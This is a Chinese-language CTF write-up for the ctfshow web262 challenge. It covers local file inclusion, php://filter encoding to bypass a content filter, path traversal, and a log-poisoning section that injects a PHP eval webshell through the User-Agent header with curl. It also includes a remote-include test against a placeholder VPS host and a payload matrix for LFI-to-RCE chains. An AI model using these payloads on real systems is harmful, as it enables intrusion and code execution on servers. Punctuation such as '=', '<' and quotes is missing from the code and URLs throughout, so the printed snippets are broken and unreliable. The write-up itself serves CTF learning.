CTF web262题解:文件包含、日志注入与伪协议绕过实战

发布时间:2026/9/25 12:45:39
CTF web262题解:文件包含、日志注入与伪协议绕过实战 CTF选手对ctfshow平台的web题应该都不陌生。web262这道题从题目编号看属于中后期的难度区间和前面那些纯入门级别的注入、文件上传不太一样这道题的考察点主要集中在文件包含、日志注入以及信息收集这几个维度的组合运用上。老实说第一次做这道题的时候我踩了不少坑回头复盘才发现很多关键点其实都藏在容易被忽略的细节里。这篇文章我会把web262从开局到拿flag的完整思路和操作过程拆开揉碎了讲包括当时踩过的坑、中间走偏的思路、以及最后怎么绕回正轨。如果你是刚开始刷ctfshow web题的新手这篇文章能帮你把文件包含类题目的通用打法捋清楚如果你是有一定基础的老手也可以看看我在某些环节的处理方式也许会有一些参考价值。1. 开局判断从题目描述和响应头里读懂出题人意图拿到web262的第一件事不是急着找注入点或者扫目录而是先看这个靶机环境的外表。一个成熟的做法是先访问目标地址用浏览器开发者工具F12看网络请求和响应头再做基本的目录枚举。这套流程虽然基础但往往能直接给出大量线索。先看看访问首页时的响应内容。web262的首页比较简单甚至可以说有点粗糙——一个普通的页面没有明显的交互功能也没有表单提交。但关键信息藏在响应头里Server: nginx/1.20.2 PHP/7.4.33这个组合值得注意PHP 7.4.33是目前7.4分支的最后一个版本而且服务端是nginx。在CTF题目里只要看到nginx就要马上联想到nginx访问日志和错误日志——它们是文件包含漏洞的黄金利用点。再看页面源码会发现一行被注释掉的HTML!--?file--这是典型的文件包含暗示。参数名是file值为空说明这里大概率存在文件包含点而且可能支持PHP伪协议。这时候可以先用伪协议做基础探测。我先用php://filter读取一下当前页面的源码看看有没有过滤或者白名单/?filephp://filter/convert.base64-encode/resourceindex.php返回内容是一段Base64编码的字符串解码后能看到index.php的源码。这一步进展得很顺利说明file参数是存在文件包含的而且没有对伪协议做限制。不过任何事情都有后手——继续看源码后发现它引入了另一个文件?php include($_GET[file]); ?就这么干净当然不会。继续追踪它include的内容就会发现题目另有玄机。这里我先不急继续梳理信息收集阶段应该做的其他动作。1.1 目录枚举与备份文件探测一般做完首页源码读取后下一步是扫描当前目录下还有哪些文件。ctfshow的题目惯用套路是放一个flag文件、一个.bak备份或者flag.php之类的敏感文件。我用dirsearch挂了个常用字典扫了一遍发现存在这几个文件/index.php /flag.php /config.php.bak /robots.txt其中flag.php理论上就是目标但直接访问只会得到一个空白页因为flag通常不会在页面里明文展示而是定义成变量或者常量。而config.php.bak这个备份文件很关键——很多题目会拿备份文件来泄露数据库配置、自定义函数、过滤逻辑等核心信息。我把config.php.bak下载下来看了一下内容大概是这样?php $flag flag{xxxx}; function filter($str) { return str_replace(flag, , $str); } ?这里已经出现了两个重要信息第一flag变量确实存在于flag.php中第二存在一个filter()函数它的作用就是把传入字符串里的flag文本删除。但别高兴太早——这只是一个备份真正的flag.php里不一定直接用$flag也可能用常量、函数返回值、甚至加密编码后的字符串。所以接下来真正要做的是通过文件包含漏洞想办法读到flag.php的实际内容。1.2 对filter()函数的初判断看到str_replace(flag, , $str)这种逻辑第一反应就是双写绕过。这个方法在SQL注入和很多PHP题目里都通用因为它是从头到尾匹配一次替换完就结束不会递归再检查一次。所以传入flagflag会先匹配中间的flag被删掉剩下的还是flag完美的过滤绕过。不过直接把flagflag塞进flag.php的读取中是没用的因为我们要读取的文件名是flag.php对文件名做双写没有意义。真正的难点在于如果filter()同时作用于文件名和输出内容我们就要想办法在文件名层面绕过。这里先保留一个悬念后面实操时会再回到这个点。2. 漏洞定位文件包含点的功能特性分析确认了index.php存在文件包含后我花了一些时间测试它的具体特性。这里的分析方式非常有规律也适用于其他同类题目。第一个要搞清楚的问题它是本地文件包含LFI还是远程文件包含RFI测试方法很简单尝试用一个外部的HTTP地址作为file参数的值/?filehttp://your-vps-ip/shell.txt如果页面里出现了远程文件的内容说明是RFI可以直接远程包含一个Webshell。实测下来web262这里不会有反应大概率是关闭了allow_url_include所以走不了远程包含这条捷径。第二个问题file参数有没有路径限制比如只能包含某个目录下的文件继续测试/?file/etc/passwd正常情况下如果没限制绝对路径/etc/passwd的内容会直接显示出来。但web262这里返回的是空或者报错说明要么限制了前缀目录要么对路径做了处理。第三个问题伪协议的支持情况。刚才已经验证了php://filter可用再试试其他协议/?filephp://input POST: ?php system(id); ?这个用不了表示allow_url_include是关闭状态。但data://协议往往也不可用同理。能用的大概率只有file://和php://filter——其中php://filter是文件读取的神器虽然不能执行代码但能当只读工具用。到这里我对这个包含点的画像已经很清晰了特性测试结果本地文件包含支持远程文件包含不支持allow_url_include关闭php://filter支持php://input不支持data://不支持绝对路径包含受限或做了过滤文件访问需要控制路径前缀判断完这些下一步就是要知道具体是哪里的代码在起作用。所以接下来得找到源码中的核心逻辑看看它到底包了什么、过滤了什么。2.1 通过php://filter回溯核心代码前面提到了config.php.bak泄露了filter()函数但它不是完整源码。我继续用filter协议读取了几份关键文件/?filephp://filter/convert.base64-encode/resourceflag.php解码后看到了最核心的逻辑实际内容简化如下?php include($_GET[file]); $content file_get_contents($_GET[file]); if(preg_match(/flag/i, $content)) { die(no no no); } ?看到这里我意识到真正的过滤逻辑不是备份文件里那个简单的str_replace而是preg_match(/flag/i, $content)——它检查的是包含后读取到的文件内容如果被包含文件的内容里含有flag字样就直接终止die。这就解释了为什么直接读flag.php会失败flag.php里的内容必然包含flag字符串本身比如变量名、注释或者真正的flag文本一旦被正则匹配到就会触发die。所以直接读取永远看不到想要的东西。这里就产生了一个经典的困境存在一个文件包含点但目标文件内容含有关键词会被过滤逻辑拦截。怎么绕过答案其实就在PHP的伪协议特性里——用php://filter的编码过滤器把文件内容转换掉正则匹配到的就只是Base64字符串了自然不会有flag字样。也就是说读取方式改成/?filephp://filter/convert.base64-encode/resourceflag.php此时file_get_contents拿到的是Base64编码后的字符串内容大概是PD9waHAgJGZsYWcgPSAiZmxhZ3....里面没有明文flag不会触发正则拦截。而页面里输出的就是这段Base64我们手动解码就能看到真正的flag内容。这个思路很简单但在我第一次做这题的时候脑子没转过弯来先去试了日志注入和各种路径穿越白白浪费了半小时。所以现在复盘这个点值得专门拎出来讲。2.2 为什么直接包含会触发拦截内容过滤的本质理解这道题的过滤机制关键在于区分两个概念文件名过滤和内容过滤。文件名过滤对$_GET[file]本身做校验限制只能包含某些路径、某些后缀不能包含../等。内容过滤获取文件内容后再校验如果内容命中关键词就拒绝输出。ctfshow的web262采用的是第二种而且校验对象是被读取文件的原始内容。所以破解思路不是去绕文件名而是让读取到的内容在到达正则匹配之前先变个形——用Base64编码过滤器让内容变成非明文的编码字符串这样正则匹配不到flag而输出时浏览器端还能解码还原。这种编码过滤器绕过内容过滤的思路不仅在文件包含题里非常实用在后来的很多PHP代码审计题目里也反复出现。理解了它相当于掌握了一类通用题型的解法。我用一个表格总结一下常见的过滤器组合方便后面引用过滤器效果适配场景convert.base64-encode将内容转为Base64字符串内容含敏感关键词不能被正则匹配到convert.base64-decode将Base64转为原文反过来读编码后的文件内容convert.iconv.*多种字符集转换构造一些特殊payload时会用到string.rot13ROT13编码内容过滤严格时可用zlib.deflate / zlib.inflate压缩/解压大文件读取、消耗类场景自己测试时convert.base64-encode是最稳的。它不会破坏原始数据输出的形式规则完整解码也非常方便。3. 绕过过滤读取flag编码转换与伪协议的实战配合有了上面的分析直接试一下最终payload/?filephp://filter/convert.base64-encode/resourceflag.php返回结果是一长串Base64PD9waHAKJGZsYWcgPSAiZmxhZ3tjdGZzaG93X3dlYl8yNjJfYjQ2MzM4MjF9IjsKPz4丢到终端里base64解码echo PD9waHAKJGZsYWcgPSAiZmxhZ3tjdGZzaG93X3dlYl8yNjJfYjQ2MzM4MjF9IjsKPz4 | base64 -d解码结果?php $flag flag{ctfshow_web_262_b4633821}; ?拿到flag题目结束。但如果你只是做到这一步就收工那对这个题的理解其实还停留在表面。它真正有价值的地方在于filter包裹器的多层串联、路径拼接规则、以及nginx日志包含这条备选路径——这些才是后续遇到难度更高、过滤更变态的同类题目时能保命的底牌。3.1 php://filter的多层过滤器链构造很多新手只知道php://filter/convert.base64-encode/resourcexxx这种固定写法但filter协议其实支持多个过滤器串联。格式是php://filter/[过滤器1]|[过滤器2]|.../resource目标文件管道符|用于分隔多个过滤器。顺序是从左到右依次对数据流处理。比如可以先string.rot13再convert.base64-encode也可以反过来全看需要。在我后来遇到的一些比赛题里出现过需要先解码后编码的情况目标文件内容是Base64编码的加密字符串但过滤正则匹配的是编码结果本身。这时候就可以用convert.base64-decode|convert.base64-encode这样的组合先把数据解码再用Base64包一层。这种多层过滤器思维在真实渗透测试场景中同样有用——比如用filter链读取包含二进制内容或特殊编码内容的配置文件避免正则拦截。web262这个环境比较简单一层Base64就解了但理解多层链的构造方法可以让你在面对直接读会触发关键词拦截的题目时多一种选择。建议各位自己搭个本地环境创建几个不同编码格式的文件反复测试filter链的排列组合这个操作成本很低但对协议的理解提升非常明显。3.2 路径拼接为什么用绝对路径有时会失败还有一个细节值得注意。在很多LFI题目里file参数的值会和某个基础路径拼接比如include(/var/www/html/ . $_GET[file]);这种场景下传/etc/passwd就没用因为拼完变成了/var/www/html//etc/passwd路径不存在。正确做法是传相对路径或者用../穿越。但在web262里从读取index.php源码时的情况来看它的相对路径包含是正常的/?filephp://filter/convert.base64-encode/resourceindex.php这里能读到文件说明file参数直接作为相对路径处理了并没有强制拼接前缀。但为什么我尝试直接/etc/passwd又没成功后来仔细查看发现是环境对/开头的绝对路径做了拦截或者源码里做了某种前缀校验。最简单有效的规避方式就是始终使用相对路径配合php://filter不去碰绝对路径这个坑。如果确实需要读取绝对路径下的文件通常的办法是结合路径穿越/?filephp://filter/convert.base64-encode/resource../../../../etc/passwd从当前目录一层层往上跳。至于跳多少层取决于当前工作目录和根目录之间的层级。这类题目里一般先读/proc/self/environ或者/proc/self/cmdline判断当前脚本的路径和运行环境信息再反推相对路径的深度。web262里因为相对路径直接就能用所以这一步省了很多功夫。但我建议每个人还是跑一遍完整的路径深度测试不要只满足于一个payload能出flag。3.3 日志注入与包含备选利用链的完整记录我这里花了点时间专门把日志注入这条备选路径也走了一遍。不是因为它在这道题里必须用到而是因为这是LFI题目的经典保底方案——如果下一次遇到一个环境目标文件内容被加密了、伪协议被禁了你还有另一种拿到Shell的路径。思路是这样的nginx或者apache会把访问日志写到磁盘上而访问日志里会记录HTTP请求的User-Agent、URL等字段。如果日志文件路径可读并且题目存在LFI那么通过在请求头中注入PHP代码再让LFI去包含日志文件PHP代码就会被当作服务器端脚本解析执行。这就是所谓的日志注入getshell。我在本机搭nginx环境复现了一下完整流程步骤如下第一步确认日志路径。web262的nginx访问日志一般默认在/var/log/nginx/access.log。先用filter协议读取这个路径这里用的是相对路径穿越/?filephp://filter/convert.base64-encode/resource../../../var/log/nginx/access.log如果能看到日志内容返回说明包含点可以触及日志文件。第二步注入恶意代码。用curl构造一个特殊的User-Agentcurl -v http://target/?file/var/log/nginx/access.log \ -H User-Agent: ?php system(id); ?注意这里要包含URL编码的空格处理否则nginx日志里的空格可能会把代码拆开。更稳妥的做法是直接写入一句话木马避开空格curl -v http://target/?file/var/log/nginx/access.log \ -H User-Agent: ?php eval(\$_POST[cmd]);?第三步再次包含日志文件看是否被解析。如果一切顺利日志文件里的PHP代码会被服务端解释执行。但web262的实际环境对User-Agent里的?php做了过滤这个方式最后没能直接打通。不过这个思路本身值得记录——在多道其他CTF题和真实渗透项目中日志注入是文件包含漏洞利用中最常见也最有效的手段之一。3.4 本地复现测试的完整流程如果你看完文章想自己动手把整条链路走通完全可以搭一个本地环境来复现。我用的是DockernginxPHP7.4的组合几十秒就能起一个环境。nginx.conf里关键的配置是这样server { listen 80; root /var/www/html; index index.php; location ~ \.php$ { include fastcgi_params; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; fastcgi_pass php:9000; } access_log /var/log/nginx/access.log; }index.php直接按题目逻辑写?php include($_GET[file]); $content file_get_contents($_GET[file]); if (isset($content) preg_match(/flag/i, $content)) { die(no no no); } ?flag.php?php $flag flag{local_test_flag}; ?然后在浏览器依次测试# 直接触发拦截 /?fileflag.php # 编码读取绕过 /?filephp://filter/convert.base64-encode/resourceflag.php第二个请求会返回Base64编码的源码解码后就是合法的flag字符串。这个本地环境能同时验证filter链、日志注入、路径穿越三个知识点建议大家都试一试。CTF题目做多了你会发现会不会搭环境直接决定了题目能刷到多深——很多看起来复杂的payload丢到本地环境里一测原理立刻原形毕露。4. 在web262基础上扩展同类题目的通用payload体系做完web262后我顺手把这套思路整理成了一个通用的payload测试表。以后遇到类似题目直接按这个流程走能少走很多弯路。这个表格也是我在这篇文章里最想分享的干货之一它可以作为你在CTF赛场上面对LFI题时的速查手册。4.1 通用测试矩阵测试目的Payload示例预期结果确认文件包含存在/?file../../../../etc/passwd显示文件内容返回读取当前源码/?filephp://filter/convert.base64-encode/resourceindex.phpBase64编码源码读取目标flag文件/?filephp://filter/convert.base64-encode/resourceflag.phpBase64编码的flag文件源码多过滤器组合读取/?filephp://filter/string.rot13/resourceflag.phpROT13编码的src内容路径穿越读取系统文件/?file../../../../../../etc/passwd系统文件内容日志包含尝试/?file/var/log/nginx/access.log日志内容可注入代码伪协议php://inputPOST php代码执行代码需allow_url_includedata:// 伪协议/?filedata://text/plain,?php phpinfo();?执行代码需allow_url_include如果已经把php://filter这一步打通了建议先读的文件顺序是index.php→config.php.bak或其它备份文件 →flag.php。备份文件往往直接泄露过滤逻辑和flag变量定义省去后面自己绕的功夫。4.2 绕过内容过滤的扩展思路web262用的是最简单的Base64编码绕过但题目稍微改一改就可能需要其他思路。我总结了几类在真实比赛里见过的变体供大家参考第一类过滤了php关键词。目标文件是flag.php但payload里带了php字样会被过滤。解决办法是用通配符或者路径技巧绕比如php://filter改成php:/filter或利用PHP://的大小写变体前提是代码里没有strtolower这类统一转小写的操作。第二类过滤了filter关键词。这时候php://filter被禁了试着用php://Filter、php://FILTER这种大小写混淆去测如果源码里用的是preg_match加i修饰符大小写就绕不了。那就得转走日志注入或者其他文件读取协议。第三类内容被加密或序列化。直接用convert.base64-encode读出来是加密文本还是没法还原出flag。这种情况下就要分析加密逻辑找到解密函数或解密密钥必要时构造一个临时PHP文件来执行解密操作。第四类包含点有目录限制只能包含templates/目录下的文件。这时候可以利用包含日志文件或者上传文件来突破目录限制比如先传一个图片马再到uploads/目录然后用路径穿越把上传文件包含进来。这些变体看着多底层逻辑其实就一句话只要PHP代码在服务端执行就一定存在某种方式操纵输入数据流让它变成我们想要的模样。过滤器、伪协议、路径穿越、日志注入本质上都是对这个操纵数据流过程的工程化实现。4.3 做大做强从web262到组合利用链web262本身不是一道特别复杂的题但它是很多组合利用链的基础拼图。打个比方LFI就像一把万能钥匙它本身打不开门但配合其他漏洞就能开锁。比如LFI 日志注入 GetShellLFI 文件上传 二次包含GetShellLFI phpinfo 临时文件竞争条件GetShell经典Phoenix exploit手法LFI 反序列化文件 RCELFI php://filter 条件竞争 触发危险函数把web262的filter读取链路吃透其实就掌握了上面所有组合的地基。知道自己用php://filter做了什么、为什么这样做、数据流经过了哪些转换这些理解比拿到一个flag重要得多。5. 本次实操中的踩坑记录与经验总结做web262的过程中我踩了三个比较典型的坑写在这里给后来者避避雷。这些坑不是题目本身故意设置的障碍更多是做题思路和操作习惯上容易出的问题看看你有没有中招的。第一个坑拿到题目先去扫目录而不是先看响应头。我一开始直接跑了dirsearch耗了一些时间才反应过来应该先看首页源码和响应头。其实CTF环境里题目的线索往往都藏在看起来没什么用的地方——注释掉的HTML、隐藏的响应头字段、或者一个不起眼的配置文件。后来我调整了做题顺序先做信息收集三件套看响应头、看源码、看注释再做目录扫描效率一下子提上来了。第二个坑直接用flag.php尝试包含没有先想到filter编码。这个错误很典型。我第一次直接访问/?fileflag.php结果被die掉了心里还一阵纳闷。后来细看源码才意识到内容过滤的存在。这里我把教训总结为一个习惯在LFI题目里如果你想读的目标文件名字里带了敏感词永远先考虑用filter包装一层再读不要拿裸路径直接撞过滤逻辑。第三个坑VPS上没有准备好监听环境日志注入测试时没能及时确认请求是否到达。当时我起了个nginx的日志包含测试但本地没有开监听端口也没有额外起一个可控的HTTP服务导致回连请求发了但看不到任何记录。后来我在VPS上用tcpdump监听了80端口再重测了一次马上定位到了问题。这个习惯在真实渗透中也重要任何回调型payload都要确保监听端提前就绪否则等于白打。5.1 做题顺序方法论再给大家梳理一下我这轮完整的做题流程。说实话这个流程是刷了上百道CTF web题后慢慢总结出来的现在几乎成了我的默认操作模式手测首页浏览源码看注释和隐藏内容查看响应头记录中间件类型和版本信息枚举目录和备份文件重点关注.bak、.swp、~结尾的文件找到可疑参数如file手动测试基础LFI/RFI行为确认可读文件后用php://filter读源码逐层解出过滤逻辑根据过滤逻辑构造编码或多级过滤器绕过绕不过去时立刻换日志包含、上传包含等其他攻击面拿到flag后做好笔记记录payload结构方便后续同类题目复用这套流程在web262里从头到尾跑了一遍唯一卡壳的地方就是第二步中我没有第一时间看响应头导致后面多花了点时间。顺序对了题目基本就是按部就班的事。5.2 写在最后的一点心得web262这道题不算难但它是一个很好的范本从信息收集开始到发现文件包含点到处理内容过滤再到绕过后读取flag整个过程涵盖的知识点密度相当高。很多新手做到php://filter这一层就停了觉得哦原来是这样但没有继续追问为什么过滤时读不到、为什么Base64编码后能读到。我个人建议刷完这道题后花半小时把php://filter支持的其它过滤器都测一遍再花半小时搭个本地环境把日志注入的流程完整跑通。这半小时的投资会在后续遇到类似题目时带来成倍的回报。CTF题目的本质不只是找flag而是通过一个个具体场景理解漏洞背后的原理。原理通了flag不过是顺手的事。